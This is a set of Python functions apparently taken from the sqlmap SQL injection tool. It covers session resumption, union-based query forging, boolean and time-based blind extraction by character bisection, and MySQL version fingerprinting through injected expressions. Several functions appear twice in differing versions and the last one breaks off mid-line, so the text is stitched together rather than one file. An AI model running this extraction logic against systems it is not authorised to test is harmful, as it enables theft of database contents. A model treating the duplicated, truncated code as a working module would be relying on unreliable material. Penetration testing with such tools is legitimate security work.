def _resumeHashDBValues(): """ Resume stored data values from HashDB """ kb.absFilePaths = hashDBRetrieve(HASHDB_KEYS.KB_ABS_FILE_PATHS, True) or kb.absFilePaths kb.brute.tables = hashDBRetrieve(HASHDB_KEYS.KB_BRUTE_TABLES, True) or kb.brute.tables kb.brute.columns = hashDBRetrieve(HASHDB_KEYS.KB_BRUTE_COLUMNS, True) or kb.brute.columns kb.chars = hashDBRetrieve(HASHDB_KEYS.KB_CHARS, True) or kb.chars kb.dynamicMarkings = hashDBRetrieve(HASHDB_KEYS.KB_DYNAMIC_MARKINGS, True) or kb.dynamicMarkings kb.xpCmdshellAvailable = hashDBRetrieve(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE) or kb.xpCmdshellAvailable kb.errorChunkLength = hashDBRetrieve(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH) if kb.errorChunkLength and kb.errorChunkLength.isdigit(): kb.errorChunkLength = int(kb.errorChunkLength) else: kb.errorChunkLength = None conf.tmpPath = conf.tmpPath or hashDBRetrieve(HASHDB_KEYS.CONF_TMP_PATH) for injection in hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or []: if isinstance(injection, InjectionDict) and injection.place in conf.paramDict and \ injection.parameter in conf.paramDict[injection.place]: if not conf.tech or intersect(conf.tech, injection.data.keys()): if intersect(conf.tech, injection.data.keys()): injection.data = dict(_ for _ in injection.data.items() if _[0] in conf.tech) if injection not in kb.injections: kb.injections.append(injection) _resumeDBMS() _resumeOS()
def _resumeHashDBValues(): """ Resume stored data values from HashDB """ kb.absFilePaths = hashDBRetrieve(HASHDB_KEYS.KB_ABS_FILE_PATHS, True) or kb.absFilePaths kb.chars = hashDBRetrieve(HASHDB_KEYS.KB_CHARS, True) or kb.chars kb.dynamicMarkings = hashDBRetrieve(HASHDB_KEYS.KB_DYNAMIC_MARKINGS, True) or kb.dynamicMarkings kb.brute.tables = hashDBRetrieve(HASHDB_KEYS.KB_BRUTE_TABLES, True) or kb.brute.tables kb.brute.columns = hashDBRetrieve(HASHDB_KEYS.KB_BRUTE_COLUMNS, True) or kb.brute.columns kb.xpCmdshellAvailable = hashDBRetrieve(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE) or kb.xpCmdshellAvailable conf.tmpPath = conf.tmpPath or hashDBRetrieve(HASHDB_KEYS.CONF_TMP_PATH) for injection in hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or []: if isinstance(injection, InjectionDict) and injection.place in conf.paramDict and \ injection.parameter in conf.paramDict[injection.place]: if not conf.tech or intersect(conf.tech, injection.data.keys()): if intersect(conf.tech, injection.data.keys()): injection.data = dict(filter(lambda (key, item): key in conf.tech, injection.data.items())) if injection not in kb.injections: kb.injections.append(injection) _resumeDBMS() _resumeOS()
def _resumeOS(): """ Resume stored OS information from HashDB """ value = hashDBRetrieve(HASHDB_KEYS.OS) if not value: return os = value if os and os != 'None': infoMsg = "resuming back-end DBMS operating system '%s' " % os logger.info(infoMsg) if conf.os and conf.os.lower() != os.lower(): message = "you provided '%s' as back-end DBMS operating " % conf.os message += "system, but from a past scan information on the " message += "target URL sqlmap assumes the back-end DBMS " message += "operating system is %s. " % os message += "Do you really want to force the back-end DBMS " message += "OS value? [y/N] " test = readInput(message, default="N") if not test or test[0] in ("n", "N"): conf.os = os else: conf.os = os Backend.setOs(conf.os)
def _goBooleanProxy(expression): """ Retrieve the output of a boolean based SQL query """ initTechnique(kb.technique) if conf.dnsDomain: query = agent.prefixQuery(kb.injection.data[kb.technique].vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) output = _goDns(payload, expression) if output is not None: return output vector = kb.injection.data[kb.technique].vector vector = vector.replace("[INFERENCE]", expression) query = agent.prefixQuery(vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) timeBasedCompare = kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) output = hashDBRetrieve(expression, checkConf=True) if output is None: output = Request.queryPage(payload, timeBasedCompare=timeBasedCompare, raise404=False) if output is not None: hashDBWrite(expression, output) return output
def _oneShotUnionUse(expression, unpack=True, limited=False): retVal = hashDBRetrieve("%s%s" % (conf.hexConvert, expression), checkConf=True) # as union data is stored raw unconverted threadData = getCurrentThreadData() threadData.resumed = retVal is not None if retVal is None: # Prepare expression with delimiters injExpression = unescaper.escape(agent.concatQuery(expression, unpack)) where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else None # Forge the union SQL injection request vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector kb.unionDuplicates = vector[7] query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited) payload = agent.payload(newValue=query, where=where) # Perform the request page, headers = Request.queryPage(payload, content=True, raise404=False) incrementCounter(PAYLOAD.TECHNIQUE.UNION) # Parse the returned page to get the exact union-based # SQL injection output def _(regex): return reduce(lambda x, y: x if x is not None else y, (\ extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \ extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \ if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \ None) # Automatically patching last char trimming cases if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""): warnMsg = "automatically patching output having last char trimmed" singleTimeWarnMessage(warnMsg) page = page.replace(kb.chars.stop[:-1], kb.chars.stop) retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop)) if retVal is not None: retVal = getUnicode(retVal, kb.pageEncoding) # Special case when DBMS is Microsoft SQL Server and error message is used as a result of union injection if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError(): retVal = htmlunescape(retVal).replace("<br>", "\n") hashDBWrite("%s%s" % (conf.hexConvert, expression), retVal) else: trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start)) if trimmed: warnMsg = "possible server trimmed output detected " warnMsg += "(probably due to its length and/or content): " warnMsg += safecharencode(trimmed) logger.warn(warnMsg) return retVal
def __saveToHashDB(): injections = hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or [] injections.extend(_ for _ in kb.injections if _ and _.place is not None and _.parameter is not None) _ = dict() for injection in injections: key = (injection.place, injection.parameter, injection.ptype) if key not in _: _[key] = injection else: _[key].data.update(injection.data) hashDBWrite(HASHDB_KEYS.KB_INJECTIONS, _.values(), True) _ = hashDBRetrieve(HASHDB_KEYS.KB_ABS_FILE_PATHS, True) or set() _.update(kb.absFilePaths) hashDBWrite(HASHDB_KEYS.KB_ABS_FILE_PATHS, _, True) if not hashDBRetrieve(HASHDB_KEYS.KB_CHARS): hashDBWrite(HASHDB_KEYS.KB_CHARS, kb.chars, True) if not hashDBRetrieve(HASHDB_KEYS.KB_DYNAMIC_MARKINGS): hashDBWrite(HASHDB_KEYS.KB_DYNAMIC_MARKINGS, kb.dynamicMarkings, True)
def direct(query, content=True): select = True query = agent.payloadDirect(query) query = agent.adjustLateValues(query) threadData = getCurrentThreadData() if Backend.isDbms(DBMS.ORACLE) and query.startswith("SELECT ") and " FROM " not in query: query = "%s FROM DUAL" % query for sqlTitle, sqlStatements in SQL_STATEMENTS.items(): for sqlStatement in sqlStatements: if query.lower().startswith(sqlStatement) and sqlTitle != "SQL SELECT statement": select = False break if select and not query.upper().startswith("SELECT "): query = "SELECT " + query logger.log(9, query) output = hashDBRetrieve(query, True, True) start = time.time() if not select and "EXEC " not in query: _ = timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None) elif not (output and "sqlmapoutput" not in query and "sqlmapfile" not in query): output = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None) hashDBWrite(query, output, True) elif output: infoMsg = "resumed: %s..." % getUnicode(output, UNICODE_ENCODING)[:20] logger.info(infoMsg) threadData.lastQueryDuration = calculateDeltaSeconds(start) if not output: return output elif content: if output and isListLike(output): if len(output[0]) == 1: if len(output) > 1: output = map(lambda _: _[0], output) else: output = output[0][0] retVal = getUnicode(output, noneToNull=True) return safecharencode(retVal) if kb.safeCharEncode else retVal else: for line in output: if line[0] in (1, -1): return True else: return False
def direct(query, content=True): select = True query = agent.payloadDirect(query) query = agent.adjustLateValues(query) threadData = getCurrentThreadData() if Backend.isDbms(DBMS.ORACLE) and query.upper().startswith("SELECT ") and " FROM " not in query.upper(): query = "%s FROM DUAL" % query for sqlTitle, sqlStatements in SQL_STATEMENTS.items(): for sqlStatement in sqlStatements: if query.lower().startswith(sqlStatement) and sqlTitle != "SQL SELECT statement": select = False break if select and not query.upper().startswith("SELECT "): query = "SELECT %s" % query logger.log(CUSTOM_LOGGING.PAYLOAD, query) output = hashDBRetrieve(query, True, True) start = time.time() if not select and "EXEC " not in query.upper(): timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None) elif not (output and "sqlmapoutput" not in query and "sqlmapfile" not in query): output, state = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None) if state == TIMEOUT_STATE.NORMAL: hashDBWrite(query, output, True) elif state == TIMEOUT_STATE.TIMEOUT: conf.dbmsConnector.close() conf.dbmsConnector.connect() elif output: infoMsg = "resumed: %s..." % getUnicode(output, UNICODE_ENCODING)[:20] logger.info(infoMsg) threadData.lastQueryDuration = calculateDeltaSeconds(start) if not output: return output elif content: if output and isListLike(output): if len(output[0]) == 1: output = [_[0] for _ in output] retVal = getUnicode(output, noneToNull=True) return safecharencode(retVal) if kb.safeCharEncode else retVal else: return extractExpectedValue(output, EXPECTED.BOOL)
def _resumeDBMS(): """ Resume stored DBMS information from HashDB """ value = hashDBRetrieve(HASHDB_KEYS.DBMS) if not value: if conf.offline: errMsg = "unable to continue in offline mode " errMsg += "because of lack of usable " errMsg += "session data" raise SqlmapNoneDataException(errMsg) else: return dbms = value.lower() dbmsVersion = [UNKNOWN_DBMS_VERSION] _ = "(%s)" % ("|".join([alias for alias in SUPPORTED_DBMS])) _ = re.search(r"\A%s (.*)" % _, dbms, re.I) if _: dbms = _.group(1).lower() dbmsVersion = [_.group(2)] if conf.dbms: check = True for aliases, _, _, _ in DBMS_DICT.values(): if conf.dbms.lower() in aliases and dbms not in aliases: check = False break if not check: message = "you provided '%s' as a back-end DBMS, " % conf.dbms message += "but from a past scan information on the target URL " message += "sqlmap assumes the back-end DBMS is '%s'. " % dbms message += "Do you really want to force the back-end " message += "DBMS value? [y/N] " if not readInput(message, default='N', boolean=True): conf.dbms = None Backend.setDbms(dbms) Backend.setVersionList(dbmsVersion) else: infoMsg = "resuming back-end DBMS '%s' " % dbms logger.info(infoMsg) Backend.setDbms(dbms) Backend.setVersionList(dbmsVersion)
def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp and not hasattr(conf, "api"): value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp and not hasattr(conf, "api"): value += "%s\n" % dbmsOsFp value += "back-end DBMS: " actVer = Format.getDbms() _ = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) if _: actVer += " (%s fork)" % _ if not conf.extensiveFp: value += actVer return value comVer = self._commentCheck() blank = " " * 15 value += "active fingerprint: %s" % actVer if comVer: comVer = Format.getDbms([comVer]) value += "\n%scomment injection fingerprint: %s" % (blank, comVer) if kb.bannerFp: banVer = kb.bannerFp["dbmsVersion"] if "dbmsVersion" in kb.bannerFp else None if banVer and re.search("-log$", kb.data.banner): banVer += ", logging enabled" banVer = Format.getDbms([banVer] if banVer else None) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value
def _resumeDBMS(): """ Resume stored DBMS information from HashDB """ value = hashDBRetrieve(HASHDB_KEYS.DBMS) if not value: return dbms = value.lower() dbmsVersion = [UNKNOWN_DBMS_VERSION] _ = "(%s)" % ("|".join([alias for alias in SUPPORTED_DBMS])) _ = re.search("%s ([\d\.]+)" % _, dbms, re.I) if _: dbms = _.group(1).lower() dbmsVersion = [_.group(2)] if conf.dbms: check = True for aliases, _, _, _ in DBMS_DICT.values(): if conf.dbms.lower() in aliases and dbms not in aliases: check = False break if not check: message = "you provided '%s' as a back-end DBMS, " % conf.dbms message += "but from a past scan information on the target URL " message += "sqlmap assumes the back-end DBMS is '%s'. " % dbms message += "Do you really want to force the back-end " message += "DBMS value? [y/N] " test = readInput(message, default="N") if not test or test[0] in ("n", "N"): conf.dbms = None Backend.setDbms(dbms) Backend.setVersionList(dbmsVersion) else: infoMsg = "resuming back-end DBMS '%s' " % dbms logger.info(infoMsg) Backend.setDbms(dbms) Backend.setVersionList(dbmsVersion)
def checkDbms(self): """ References for fingerprint: * http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html (up to 5.0.89) * http://dev.mysql.com/doc/refman/5.1/en/news-5-1-x.html (up to 5.1.42) * http://dev.mysql.com/doc/refman/5.4/en/news-5-4-x.html (up to 5.4.4) * http://dev.mysql.com/doc/refman/5.5/en/news-5-5-x.html (up to 5.5.0) * http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn) """ if not conf.extensiveFp and (Backend.isDbmsWithin(MYSQL_ALIASES) \ or (conf.dbms or "").lower() in MYSQL_ALIASES) and Backend.getVersion() and \ Backend.getVersion() != UNKNOWN_DBMS_VERSION: setDbms("%s %s" % (DBMS.MYSQL, Backend.getVersion())) if Backend.isVersionGreaterOrEqualThan("5"): kb.data.has_information_schema = True self.getBanner() return True infoMsg = "testing %s" % DBMS.MYSQL logger.info(infoMsg) result = inject.checkBooleanExpression("QUARTER(NULL) IS NULL") if result: infoMsg = "confirming %s" % DBMS.MYSQL logger.info(infoMsg) result = inject.checkBooleanExpression("SESSION_USER() LIKE USER()") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL logger.warn(warnMsg) return False if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) is None: hashDBWrite(HASHDB_KEYS.DBMS_FORK, inject.checkBooleanExpression("VERSION() LIKE '%MariaDB%'") and "MariaDB" or "") # reading information_schema on some platforms is causing annoying timeout exits # Reference: http://bugs.mysql.com/bug.php?id=15855 # Determine if it is MySQL >= 5.0.0 if inject.checkBooleanExpression("ISNULL(TIMESTAMPADD(MINUTE,[RANDNUM],NULL))"): kb.data.has_information_schema = True Backend.setVersion(">= 5.0.0") setDbms("%s 5" % DBMS.MYSQL) self.getBanner() if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.MYSQL logger.info(infoMsg) # Check if it is MySQL >= 5.5.0 if inject.checkBooleanExpression("TO_SECONDS(950501)>0"): Backend.setVersion(">= 5.5.0") # Check if it is MySQL >= 5.1.2 and < 5.5.0 elif inject.checkBooleanExpression("@@table_open_cache=@@table_open_cache"): if inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.GLOBAL_STATUS LIMIT 0, 1)"): Backend.setVersionList([">= 5.1.12", "< 5.5.0"]) elif inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PROCESSLIST LIMIT 0, 1)"): Backend.setVersionList([">= 5.1.7", "< 5.1.12"]) elif inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PARTITIONS LIMIT 0, 1)"): Backend.setVersion("= 5.1.6") elif inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PLUGINS LIMIT 0, 1)"): Backend.setVersionList([">= 5.1.5", "< 5.1.6"]) else: Backend.setVersionList([">= 5.1.2", "< 5.1.5"]) # Check if it is MySQL >= 5.0.0 and < 5.1.2 elif inject.checkBooleanExpression("@@hostname=@@hostname"): Backend.setVersionList([">= 5.0.38", "< 5.1.2"]) elif inject.checkBooleanExpression("@@character_set_filesystem=@@character_set_filesystem"): Backend.setVersionList([">= 5.0.19", "< 5.0.38"]) elif not inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM DUAL WHERE [RANDNUM1]!=[RANDNUM2])"): Backend.setVersionList([">= 5.0.11", "< 5.0.19"]) elif inject.checkBooleanExpression("@@div_precision_increment=@@div_precision_increment"): Backend.setVersionList([">= 5.0.6", "< 5.0.11"]) elif inject.checkBooleanExpression("@@automatic_sp_privileges=@@automatic_sp_privileges"): Backend.setVersionList([">= 5.0.3", "< 5.0.6"]) else: Backend.setVersionList([">= 5.0.0", "< 5.0.3"]) elif inject.checkBooleanExpression("DATABASE() LIKE SCHEMA()"): Backend.setVersion(">= 5.0.2") setDbms("%s 5" % DBMS.MYSQL) self.getBanner() elif inject.checkBooleanExpression("STRCMP(LOWER(CURRENT_USER()), UPPER(CURRENT_USER()))=0"): Backend.setVersion("< 5.0.0") setDbms("%s 4" % DBMS.MYSQL) self.getBanner() if not conf.extensiveFp: return True # Check which version of MySQL < 5.0.0 it is if inject.checkBooleanExpression("3=(SELECT COERCIBILITY(USER()))"): Backend.setVersionList([">= 4.1.11", "< 5.0.0"]) elif inject.checkBooleanExpression("2=(SELECT COERCIBILITY(USER()))"): Backend.setVersionList([">= 4.1.1", "< 4.1.11"]) elif inject.checkBooleanExpression("CURRENT_USER()=CURRENT_USER()"): Backend.setVersionList([">= 4.0.6", "< 4.1.1"]) if inject.checkBooleanExpression("'utf8'=(SELECT CHARSET(CURRENT_USER()))"): Backend.setVersion("= 4.1.0") else: Backend.setVersionList([">= 4.0.6", "< 4.1.0"]) else: Backend.setVersionList([">= 4.0.0", "< 4.0.6"]) else: Backend.setVersion("< 4.0.0") setDbms("%s 3" % DBMS.MYSQL) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL logger.warn(warnMsg) return False
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False): """ Bisection algorithm that can be used to perform blind SQL injection on an affected host """ partialValue = u"" finalValue = None abortedFlag = False asciiTbl = getCharset(charsetType) timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) retVal = hashDBRetrieve(expression, checkConf=True) if retVal: if PARTIAL_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") if retVal: partialValue = retVal dataToStdout("[%s] [INFO] resuming partial value: '%s'\r\n" % (time.strftime("%X"), safecharencode(partialValue))) else: dataToStdout("[%s] [INFO] resumed: %s\r\n" % (time.strftime("%X"), safecharencode(retVal))) return 0, retVal try: # Set kb.partRun in case "common prediction" feature (a.k.a. "good # samaritan") is used kb.partRun = getPartRun() if conf.predictOutput else None if partialValue: firstChar = len(partialValue) elif "LENGTH(" in expression or "LEN(" in expression: firstChar = 0 elif dump and conf.firstChar is not None and ( isinstance(conf.firstChar, int) or ( isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit() ) ): firstChar = int(conf.firstChar) - 1 elif firstChar is None: firstChar = 0 elif ( isinstance(firstChar, basestring) and firstChar.isdigit() ) or isinstance(firstChar, int): firstChar = int(firstChar) - 1 if "LENGTH(" in expression or "LEN(" in expression: lastChar = 0 elif dump and conf.lastChar is not None and ( isinstance(conf.lastChar, int) or ( isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit() ) ): lastChar = int(conf.lastChar) elif lastChar in ( None, "0" ): lastChar = 0 elif ( isinstance(lastChar, basestring) and lastChar.isdigit() ) or isinstance(lastChar, int): lastChar = int(lastChar) if Backend.getDbms(): _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) expressionUnescaped = unescaper.unescape(expressionReplaced) else: expressionUnescaped = unescaper.unescape(expression) if length and isinstance(length, basestring) and length.isdigit(): length = int(length) if length == 0: return 0, "" if lastChar > 0 and length > ( lastChar - firstChar ): length = lastChar - firstChar showEta = conf.eta and isinstance(length, int) numThreads = min(conf.threads, length) if showEta: progress = ProgressBar(maxValue=length) progressTime = [] if timeBasedCompare and conf.threads > 1: warnMsg = "multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically" singleTimeWarnMessage(warnMsg) if numThreads > 1: if not timeBasedCompare: debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else "")) logger.debug(debugMsg) else: numThreads = 1 if conf.threads == 1 and not timeBasedCompare: warnMsg = "running in a single-thread mode. Please consider " warnMsg += "usage of option '--threads' for faster data retrieval" singleTimeWarnMessage(warnMsg) if conf.verbose in (1, 2) and not showEta: if isinstance(length, int) and conf.threads > 1: dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth))) dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) else: dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) hintlock = threading.Lock() def tryHint(idx): with hintlock: hintValue = kb.hintValue if hintValue is not None and len(hintValue) >= idx: if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2): posValue = hintValue[idx-1] else: posValue = ord(hintValue[idx-1]) forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return hintValue[idx-1] with hintlock: kb.hintValue = None return None def validateChar(idx, value): """ Used in time-based inference (in case that original and retrieved value are not equal there will be a deliberate delay). """ forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx, value)) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) return not result def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None): """ continuousOrder means that distance between each two neighbour's numerical values is exactly 1 """ result = tryHint(idx) if result: return result if charTbl is None: charTbl = list(asciiTbl) originalTbl = list(charTbl) if continuousOrder and shiftTable is None: # Used for gradual expanding into unicode charspace shiftTable = [5, 4] if CHAR_INFERENCE_MARK in payload and ord('\n') in charTbl: charTbl.remove(ord('\n')) if not charTbl: return None elif len(charTbl) == 1: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return decodeIntToUnicode(charTbl[0]) else: return None maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] while len(charTbl) != 1: position = (len(charTbl) >> 1) posValue = charTbl[position] if CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.unescape("'%s'" % decodeIntToUnicode(posValue)) forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: minValue = posValue if type(charTbl) != xrange: charTbl = charTbl[position:] else: # xrange() - extended virtual charset used for memory/space optimization charTbl = xrange(charTbl[position], charTbl[-1] + 1) else: maxValue = posValue if type(charTbl) != xrange: charTbl = charTbl[:position] else: charTbl = xrange(charTbl[0], charTbl[position]) if len(charTbl) == 1: if continuousOrder: if maxValue == 1: return None # Going beyond the original charset elif minValue == maxChar: # If the original charTbl was [0,..,127] new one # will be [128,..,128*16-1] or from 128 to 2047 # and instead of making a HUGE list with all the # elements we use a xrange, which is a virtual # list if expand and shiftTable: charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop()) originalTbl = list(charTbl) maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] else: return None else: retVal = minValue + 1 if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload): if timeBasedCompare and not validateChar(idx, retVal): if not kb.originalTimeDelay: kb.originalTimeDelay = conf.timeSec kb.timeValidCharsRun = 0 if (conf.timeSec - kb.originalTimeDelay) < MAX_TIME_REVALIDATION_STEPS: errMsg = "invalid character detected. retrying.." logger.error(errMsg) conf.timeSec += 1 warnMsg = "increasing time delay to %d second%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '') logger.warn(warnMsg) if kb.adjustTimeDelay: dbgMsg = "turning off time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = False return getChar(idx, originalTbl, continuousOrder, expand, shiftTable) else: errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal) logger.error(errMsg) conf.timeSec = kb.originalTimeDelay return decodeIntToUnicode(retVal) else: if timeBasedCompare: kb.timeValidCharsRun += 1 if not kb.adjustTimeDelay and kb.timeValidCharsRun > VALID_TIME_CHARS_RUN_THRESHOLD: dbgMsg = "turning back on time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = True return decodeIntToUnicode(retVal) else: return None else: if minValue == maxChar or maxValue == minChar: return None # If we are working with non-continuous elements, set # both minValue and character afterwards are possible # candidates for retVal in (originalTbl[originalTbl.index(minValue)], originalTbl[originalTbl.index(minValue) + 1]): forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal)) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return decodeIntToUnicode(retVal) return None def etaProgressUpdate(charTime, index): if len(progressTime) <= ( (length * 3) / 100 ): eta = 0 else: midTime = sum(progressTime) / len(progressTime) midTimeWithLatest = (midTime + charTime) / 2 eta = midTimeWithLatest * (length - index) / conf.threads progressTime.append(charTime) progress.update(index) progress.draw(eta) # Go multi-threading (--threads > 1) if conf.threads > 1 and isinstance(length, int) and length > 1: value = [] threadData = getCurrentThreadData() threadData.shared.value = [ None ] * length threadData.shared.index = [ firstChar ] # As list for python nested function scoping threadData.shared.start = firstChar try: def blindThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.index.acquire() if threadData.shared.index[0] >= length: kb.locks.index.release() return threadData.shared.index[0] += 1 curidx = threadData.shared.index[0] kb.locks.index.release() if kb.threadContinue: charStart = time.time() val = getChar(curidx) if val is None: val = INFERENCE_UNKNOWN_CHAR else: break with kb.locks.value: threadData.shared.value[curidx - 1] = val currentValue = list(threadData.shared.value) if kb.threadContinue: if showEta: etaProgressUpdate(time.time() - charStart, threadData.shared.index[0]) elif conf.verbose >= 1: startCharIndex = 0 endCharIndex = 0 for i in xrange(length): if currentValue[i] is not None: endCharIndex = max(endCharIndex, i) output = '' if endCharIndex > conf.progressWidth: startCharIndex = endCharIndex - conf.progressWidth count = threadData.shared.start for i in xrange(startCharIndex, endCharIndex + 1): output += '_' if currentValue[i] is None else currentValue[i] for i in xrange(length): count += 1 if currentValue[i] is not None else 0 if startCharIndex > 0: output = '..' + output[2:] if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length-1): output = output[:-2] + '..' if conf.verbose in (1, 2) and not showEta: output += '_' * (min(length, conf.progressWidth) - len(output)) status = ' %d/%d (%d%s)' % (count, length, round(100.0*count/length), '%') output += status if count != length else " "*len(status) dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output))) runThreads(numThreads, blindThread, startThreadMsg=False) except KeyboardInterrupt: abortedFlag = True finally: value = map(lambda _: partialValue[_] if _ < len(partialValue) else threadData.shared.value[_], xrange(length)) infoMsg = None # If we have got one single character not correctly fetched it # can mean that the connection to the target url was lost if None in value: partialValue = "".join(value[:value.index(None)]) if partialValue: infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), filterControlChars(partialValue)) else: finalValue = "".join(value) infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue)) if conf.verbose in (1, 2) and not showEta and infoMsg: dataToStdout(infoMsg) # No multi-threading (--threads = 1) else: index = firstChar while True: index += 1 charStart = time.time() # Common prediction feature (a.k.a. "good samaritan") # NOTE: to be used only when multi-threading is not set for # the moment if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None: val = None commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl) # If there is one single output in common-outputs, check # it via equal against the query output if commonValue is not None: # One-shot query containing equals commonValue testValue = unescaper.unescape("'%s'" % commonValue) if "'" not in commonValue else unescaper.unescape("%s" % commonValue, quote=False) query = agent.prefixQuery(safeStringFormat("AND (%s) = %s", (expressionUnescaped, testValue))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) # Did we have luck? if result: if showEta: etaProgressUpdate(time.time() - charStart, len(commonValue)) elif conf.verbose in (1, 2): dataToStdout(filterControlChars(commonValue[index-1:])) finalValue = commonValue break # If there is a common pattern starting with partialValue, # check it via equal against the substring-query output if commonPattern is not None: # Substring-query containing equals commonPattern subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern)) testValue = unescaper.unescape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.unescape("%s" % commonPattern, quote=False) query = agent.prefixQuery(safeStringFormat("AND (%s) = %s", (subquery, testValue))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query), 